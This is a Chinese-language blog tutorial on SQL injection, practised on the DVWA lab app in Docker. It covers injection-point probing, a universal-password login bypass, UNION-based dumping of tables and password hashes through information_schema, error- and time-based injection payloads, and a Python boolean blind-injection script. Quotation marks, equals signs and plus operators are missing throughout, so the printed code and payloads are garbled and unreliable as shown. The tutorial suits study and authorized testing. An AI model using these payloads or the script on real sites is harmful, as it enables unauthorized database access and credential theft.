ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

SQL注入入门实战:从靶场搭建到布尔盲注脚本

SQL注入入门实战:从靶场搭建到布尔盲注脚本 如果你刚接触网络安全研究SQL注入时最容易卡住的不是“看不懂原理”而是“找不到地方练手”。实际搞过几轮靶场之后你会发现这套东西的完整链路其实非常清晰先把靶场跑起来然后从最简单的漏洞点入手走一遍从探测、爆库到拖库的过程再进阶到页面不回显时的盲注思路。这篇博文就按这个顺序来把我实际跑通的路子完整拆开讲一遍从靶场搭建到布尔盲注脚本尽量让你顺着走完就能上手。先交代一下这篇文章能帮你解决什么问题第一你不需要额外买服务器或搭复杂环境全程本机就能跑第二我用的是DVWA、Pikachu这类常见靶场你之后在网上看到的绝大多数教程、通关攻略、面试题都能和这里对应上第三整个流程会覆盖SQL注入最关键的知识点包括注入点判断、联合查询、information_schema库表结构、万能密码绕过、布尔盲注手工判断和脚本自动化。适合什么人看刚入门的“小白”、准备网络安全相关岗位面试的应届生、以及想系统把SQL注入链路补齐的运维或开发同学。1. 一小时的通关路线图先搭好你的“安全实验室”1.1 选哪个靶场DVWA、Pikachu、sqli-labs怎么挑我见过不少新手一上来就在三个靶场之间纠结其实没必要。它们各有侧重点选哪个取决于你当前最想练什么。DVWADamn Vulnerable Web Application是目前最主流的入门靶场内置了SQL注入、XSS、文件上传、CSRF等常见漏洞每个漏洞都分Low、Medium、High、Impossible四个安全级别适合循序渐进地理解“同一漏洞在不同防护下的表现”。这里特别适合练SQL注入初体验因为Low级别基本没过滤你可以先跑通完整流程再逐级看Medium和High是怎么用转义、参数化查询把漏洞堵上的。Pikachu靶场是中文环境界面友好最大的优势是“漏洞分类特别细”光SQL注入就分了数字型、字符型、搜索型、XX型等子类还带了基础的报错注入演示。如果你对“注入类型”这个概念绕不清楚Pikachu会帮你快速建立起分类意识。sqli-labs则偏“闯关式”一共几十关每一关都是不同姿势的SQL注入从最简单的联合查询到盲注、堆叠注入、过滤绕过全都有。很多网上流传的“1-65关通关教程”就是针对它的适合你想系统刷题、保持手感的时候用。我的建议很简单第一次练SQL注入用DVWA因为它的Low级别页面会直接展示后端SQL语句你能直观看到“用户输入被拼到了SQL的哪个位置”想要把SQL注入的各类细分场景吃透就去Pikachu想挑战和刷题再去sqli-labs。三者的搭建方式大同小异下面直接用DVWA走一遍。1.2 用Docker五分钟拉起DVWA附踩坑清单如果你本机已经装了Docker搭DVWA实际只需要一条命令。docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa启动完成后浏览器访问http://127.0.0.1:8080默认账号密码是admin / password进去后点击左边的“Create / Reset Database”初始化数据库然后就可以看到登录页和漏洞模块列表了。这里有个小细节上面这条命令拉取的是社区常用的DVWA镜像第一次启动可能因为网络原因比较慢如果拉不下来可以先换镜像源再执行一次。另一个常见坑是端口冲突如果你的8080端口已经被占用把命令里的-p 8080:80改成-p 9090:80这类未被占用的端口就行。提示写这篇文章时我是在本机Docker环境下直接操作的不同操作系统下Docker安装方式不同但只要容器起来了后续访问、登录、初始化流程完全一致。如果你不想用Docker也可以用PHPStudy或XAMPP手动部署DVWA源码本质上是把Apache、PHP、MySQL三件套跑起来再把源码放进网站根目录。相比之下Docker免去了PHP版本兼容和MySQL配置的麻烦所以我个人更推荐Docker方式。2. 先搞懂注入的本质为什么一句SQL就能拖库2.1 从一段登录代码看“拼接”的锅很多人学SQL注入时卡在“原理懂了但不知道漏洞到底出在哪一步”。我们用一段最经典的登录查询来还原现场。假设后端PHP代码长这样$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);正常用户输入admin和123456时SQL语句变成SELECT * FROM users WHERE username admin AND password 123456这就是一条正常的身份校验语句能查到记录就说明账号密码对。但问题出在用户输入的字符串被直接“拼”进了SQL语句里。如果在用户名处输入admin --那SQL语句就变成了SELECT * FROM users WHERE username admin -- AND password 123456在MySQL里--注意后面有空格表示注释它后面的所有内容都不参与执行所以这条语句实际等价于SELECT * FROM users WHERE username admin登录逻辑瞬间被绕过了。你可以把这个过程理解成系统本来让你填的是一张“工牌号”结果你把一个“引号加空格”的组合混了进去SQL解析器把它当成了代码的一部分执行于是门禁反而给你放行了。这正是SQL注入最底层的成因——数据被当成了命令。2.2 判断注入点的三种经典姿势单引号、and 11/12、order by在实际测试一个可能存在SQL注入的参数时我一般按固定顺序做三类验证每类验证都能提供不同的判断信号。首先是单引号探测。在参数值后面直接加一个单引号比如把ID值从1改成1如果页面报数据库错误、SQL语句错误或者返回结果和原来明显不同说明这个参数极有可能存在拼接型SQL注入。然后是逻辑判断探测。在一个可以影响查询结果的参数后追加and 11和and 121 and 11 1 and 12如果1 and 11页面正常返回而1 and 12页面返回空或异常说明SQL语句中的逻辑条件被我们控制了。原因很好理解11恒为真对原查询结果没有影响12恒为假导致整个WHERE条件不成立查询结果就没了。两个结果“一真一假”的差异就是注入是否成功的信号。最后是order by探测主要用来判断查询结果集的列数。在参数后追加1 order by 1 1 order by 2 1 order by 3不断增大数字直到页面报错为止。比如1 order by 3正常1 order by 4报错说明当前查询返回3列。这一步是为后面的联合查询做准备的具体原因下面第三部分会详细展开。这三种姿势里单引号负责“找出路”and 11/12负责“确认注入存在”order by负责“摸清表结构”。它们层层递进缺一不可。2.3 万能密码到底“万能”在哪网上流传的一些后台万能密码比如在用户名处输入 or 11 --看起来玄乎理解了拼接原理后就一点也不神秘了。还是拿上面的登录查询举例当用户名字段输入admin or 11 --最终SQL就是SELECT * FROM users WHERE username admin or 11 -- AND password 123456等价于SELECT * FROM users WHERE username admin or 11只要表里存在任意一条记录这个条件都为真所以查询结果会返回第一行记录登录逻辑通常只判断“有没有查到记录”于是就直接进入登录状态了。这不是什么神奇的后门它只是利用了SQL的“条件优先级”和“注释符号”来实现逻辑绕过。搞懂这个例子之后你后续再看到各种奇奇怪怪的绕过payload基本都能自己拆解出背后的拼接逻辑。3. 手工注入核心四步从爆库名到拖空整个数据库3.1 第一步判断列数给自己铺好union的“地基”为什么要先判断列数因为我们要使用UNION SELECT来把数据查询结果合并到页面展示区域而联合查询要求前后两个SELECT的列数一致。如果表有3列你非要写UNION SELECT 1,2数据库会直接报错“列数不匹配”。判断列数最常用的方法就是order by N。在DVWA的SQL Injection模块里输入ID为1 order by 1--页面正常1 order by 2--正常1 order by 3--正常到1 order by 4--时页面报错说明原查询的列数是3。整个过程有点像量门框尺寸——你不知道门有多宽就不断延长尺子直到刚好顶住墙。注意这里的--后面必须有一个空格这是MySQL注释语的格式要求。很多新手卡在这一步明明语句看着没问题就是不生效八成就是注释符号后面没空格。除了order by也可以用UNION SELECT 1,2,3,4直接试探如果显示正常说明列数至少为4如果报错说明列数小于4但order by更直观因为它可以精确到“最多到几列不报错”。3.2 第二步联合查询把数据“借位”到页面上知道原查询返回3列之后我们就可以用UNION SELECT把自己的数据“拼”进结果集。在DVWA Low级别中输入1 UNION SELECT 1,2,3--如果页面上显示出了数字1、2、3说明这三列都被直接输出到了前端。这时候你只需要把某个位置的数字替换成你想查询的数据就能把它“借位”渲染出来。比如1 UNION SELECT 1,database(),3--页面上的第一个查询结果位置会显示出当前数据库名dvwa。这里要解释一下为什么用1和3这样的占位符因为联合查询要求列数相同但我们只关心特定位置的输出其他位置就用常量填充保证语法合法。你在这个学习阶段会经常看到payload里的1,2,3它背后就是这套占位逻辑。3.3 第三步顺着information_schema挖库表字段拿到当前数据库名之后下一步是获取这个库下面有哪些表。MySQL自带一个information_schema系统数据库里面保存着所有数据库、表、字段的元数据信息它就像一个“数据库的数据库”。查询所有数据库名可以用SELECT schema_name FROM information_schema.schemata查询某个库下的所有表名可以用SELECT table_name FROM information_schema.tables WHERE table_schemadvwa查询某个表下的所有字段名可以用SELECT column_name FROM information_schema.columns WHERE table_schemadvwa AND table_nameusers但是我们在UNION SELECT里一次只能返回一个值怎么办这时可以用group_concat()函数把多行结果拼成一行字符串输出1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadvwa--这样页面会直接把所有表名一次性列出来比如guestbook,users。同样的方法把table_nameusers的字段也拼出来就能看到user_id,first_name,last_name,user,password,avatar,last_login,failed_login这些字段。整个过程就是从“库”到“表”再到“字段”的逐层下钻每一步靠的都是information_schema这个导航地图。3.4 第四步锁定目标表一次性捞出账号密码明确了表和字段之后最后一次联合查询就可以直接“拖库”了1 UNION SELECT 1,group_concat(user,0x3a,password),3 FROM dvwa.users--这里0x3a是冒号:的十六进制表示用来把用户名和密码拼在一起输出类似admin:21232f297a57a5a743894a0e4a801fc3这样的结果。注意DVWA的Low级别对密码做了MD5实际应用中还不一定是明文但对我们理解流程没有影响。这里总结一下手工注入的完整思路链判断列数order by N找到边界值联合查询UNION SELECT 1,2,3...确认回显位查库名database()或通过information_schema.schemata查表名information_schema.tables查字段information_schema.columns拖数据SELECT group_concat(...) FROM 目标表这个链路一旦跑通SQL注入的“主心骨”就建立了后面学的盲注、报错注入、堆叠注入都是在这个基础上做变通。4. 盲注实战页面毫无回显怎么把数据库“问”出来4.1 布尔盲注的原理页面的一亮一暗就是密码本联合查询好用但前提是页面会把查询结果回显到前端。真实环境中很多页面只告诉你“查询有结果”或“查询无结果”不展示具体数据这种场景就是“盲注”。盲注里最核心的思路是把SQL语句变成一个个能回答“是”或“否”的问题然后根据页面差异来判断答案。布尔盲注用的就是这个思路。比如语句SELECT * FROM users WHERE id 1 AND SUBSTRING(database(),1,1)d如果当前数据库名的第一个字符确实是字母d条件为真页面正常显示如果不是条件为假页面就空白或显示异常。所以“页面正常”和“页面异常”就成了判断字符的密码本。具体逐字符拆解时我通常会配合SUBSTRING()和ASCII()两个函数SUBSTRING(database(),1,1) -- 取数据库名的第1个字符 ASCII(SUBSTRING(database(),1,1)) -- 把这个字符转成ASCII码然后用比较运算符逐位判断。比如判断第一个字符的ASCII码是否大于100可以用1 AND ASCII(SUBSTRING(database(),1,1))100--返回正常说明大于100继续二分返回异常说明小于等于100。这样每次能排除一半的字符判断一个字符平均只需要6到8次请求比逐个字符暴力猜要高效很多。4.2 手工盲注太慢上Python脚本附完整代码手工逐个字符盲注非常耗时间一次请求判断一个“是否大于”的提问遇到长字符串能问到天荒地老。所以实战中我们一般把流程脚本化用Python脚本自动提交请求、判断页面差异、拼接结果。下面是我在DVWA的SQL Injection模块上实际跑通过的布尔盲注脚本你可以直接改成自己的URL和Cookie来用import requests import string # 目标地址与Cookie请换成你自己DVWA会话的信息 url http://127.0.0.1:8080/vulnerabilities/sqli/ cookies { PHPSESSID: 你的会话ID, security: low } # 候选字符集大小写字母、数字、下划线、短横线、点、 等 charset string.ascii_lowercase string.ascii_uppercase string.digits _-. def inject(payload): data {id: payload, Submit: Submit} resp requests.get(url, paramsdata, cookiescookies, timeout10) return First name in resp.text # 以页面是否出现正常查询结果作为判断依据 def get_length(sql_expr): for i in range(1, 65): payload f1 AND LENGTH({sql_expr}){i}-- if inject(payload): return i return 0 def get_str(sql_expr, length): result for i in range(1, length 1): for ch in charset: payload f1 AND SUBSTRING({sql_expr},{i},1){ch}-- if inject(payload): result ch print(f[] 第 {i} 个字符: {ch}) break return result if __name__ __main__: db_length get_length(database()) print(f[*] 数据库名长度: {db_length}) db_name get_str(database(), db_length) print(f[] 数据库名: {db_name})这个脚本的循环逻辑很清晰第一步用LENGTH(database())N逐个试探数据库名长度第二步用SUBSTRING(database(),i,1)ch逐位匹配字符。注意这里我用的判断函数是inject()它通过“页面里是否出现正常查询结果的标记”来返回True或False这就是布尔盲注的自动化版本。运行时有两个容易踩的坑一是Cookie里的PHPSESSID必须是你当前登录DVWA的真实会话否则请求会被拦到登录页判断逻辑全乱二是security这个Cookie的值必须跟靶场当前安全级别一致否则注入语句可能被过滤或拦截。如果脚本怎么跑都不出结果先手动在浏览器里访问一次目标URL确认First name这个标记字符串确实出现在正常查询结果页面里再回来跑脚本。4.3 报错注入、时间盲注另两条盲注路线布尔盲注是最通用的盲注思路但不是唯一选择。实际测试中不少场景下我们可以用报错注入来“让数据库主动把错误信息告诉我们”。报错注入的原理是故意构造一个能让数据库报错的表达式让报错信息里带上我们想查询的数据。常见的做法是UPDATEXML()或EXTRACTVALUE()比如1 AND UPDATEXML(1,CONCAT(0x7e,database(),0x7e),1)--0x7e是波浪号~用于制造XML解析错误数据库的报错信息会把~dvwa~一起回显出来。这种方式不需要页面回显位也不需要逐字符猜解效率比布尔盲注高不少但前提是页面能展示数据库报错详情并且目标MySQL版本支持这两个函数。时间盲注则用于“页面完全不告诉我们查询结果是否正确”的场景。思路是通过SLEEP(N)让数据库根据条件是否成立决定是否延时返回。比如1 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(2),0)--如果条件为真页面会持续约2秒才返回条件为假页面立即返回。这样“响应时间长短”就成了判断依据。但时间盲注的网络延迟干扰较大脚本里通常要加多次请求取平均时间效率比布尔盲注更低一般只在布尔盲注走不通时才用。5. 新手最容易踩的六个坑附排查速查表5.1 靶场起不来、页面报错、payload不生效的常见原因我把带学员和自己在实操中遇到的坑整理成了速查表按“现象—原因—解决方式”的格式列出来建议先收藏遇到问题对照查。现象可能原因解决方式Docker镜像拉取失败网络源问题配置镜像加速器后重新pull容器启动后8080端口打不开端口被占用换宿主端口如-p 9090:80页面提示数据库连接失败数据库未初始化在DVWA导航栏点击“Create / Reset Database”--注释不生效注释符号后面没有空格改成--并在后面加空格UNION SELECT报错前后列数不一致先用order by N确定准确列数返回结果不是预期数据当前安全级别不是Low检查Cookie中security的值PHP 环境手动部署时报错版本兼容问题改用Docker或PHP 7.x版本这里单独展开说两个高频问题。第一个是order by和union select都正常但数据就是出不来。这种情况往往是因为你在参数值里没加引号或者加了引号但位置不对。DVWA Low级别的SQL注入模块里ID参数源码是直接拼接在SQL语句里的正确写法是1 order by 3--注意这里1后面要先加单引号闭合前端的字符串。如果把1写成了1出来的SQL就是WHERE id1 order by 3如果不报错倒也能跑通但你的逻辑判断就偏了。第二个是盲注脚本里Cookie失效。DVWA的登录会话如果过期脚本请求会被重定向到登录页此时inject()可能刚好也判断为True因为登录页也会有特定关键词导致脚本输出垃圾字符。我的解决方式是在脚本开头先打印一次响应内容的前200个字符人工确认当前处于登录状态再开始跑。5.2 过滤字符后怎么继续注两条思路提前铺垫当你从DVWA的Low切到Medium或High时会发现以前好用的payload突然全部失效这是因为开发者加了字符过滤或转义。比如Medium级别会把$_POST[id]里的某些字符用mysqli_real_escape_string()处理或者直接用intval()取值导致单引号被转义或输入被强制转成整数。面对过滤思路有两条。一条是“绕过过滤”比如大小写混合、双写、URL编码、十六进制编码但这属于对抗性技术需要针对具体的过滤规则专门构造payload另一条是“换个注入点”比如从GET参数换到POST参数、从用户输入换到Cookie或HTTP头因为开发者往往只过滤了明显输入点而忽略了隐藏参数。提示在学习阶段遇到过滤先不要着急“绕过”而是先想清楚过滤器的本质是什么。过滤“单引号”的思路和过滤“关键字”的思路完全不同理解它们在底层的处理逻辑比死记一百个payload更有用。6. 写在最后几个带给我很大帮助的小习惯我在带新手的过程中发现SQL注入学习最有效的路径就是“先走通再深挖”。你不用一开始就把所有函数、所有绕过姿势背下来先在靶场上把从探测到拖库的完整流程跑通一遍后面再遇到盲注、报错注入、过滤绕过等场景你才知道它们到底是在哪个环节解决问题。另外分享一个小习惯每做完一个靶场关卡我会把用到的payload和判断逻辑记录下来格式很简单——输入是什么、页面返回什么、为什么这个判断有效。这样做的好处是过段时间回来复习时你能快速回忆起每个payload背后的推理过程而不是只记得一串冗长的字符串。最后提醒一句所有SQL注入练习一定要在本地靶场或你拥有合法授权的测试环境中进行。理解漏洞的目的是更好地防守自己的系统希望大家都能守住这条边界。
返回列表